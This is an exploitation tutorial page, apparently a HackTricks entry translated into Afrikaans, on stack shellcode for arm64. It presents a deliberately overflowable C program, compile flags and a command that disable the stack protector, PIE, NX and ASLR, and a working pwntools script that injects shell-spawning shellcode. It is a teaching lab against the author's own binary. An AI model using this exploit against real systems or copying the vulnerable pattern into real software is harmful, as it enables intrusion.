Stack Shellcode - arm64

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vind 'n inleiding tot arm64 in:

Kode

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompileer sonder pie, kanarie en nx:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## Geen ASLR & Geen kanarie - Staprofloop

Om ASLR te stop, voer uit:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Om die offset van die bof te kry, kyk na hierdie skakel.

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Die enigste "ingewikkelde" ding om hier te vind, sou die adres in die stapel wees om te roep. In my geval het ek die aanval gegenereer met die adres wat ek met gdb gevind het, maar toe dit uitgebuit het, het dit nie gewerk nie (omdat die stapeladres effens verander het).

Ek het die gegenereerde core lêer geopen (gdb ./bog ./core) en die werklike adres van die begin van die shellkode nagegaan.

Last updated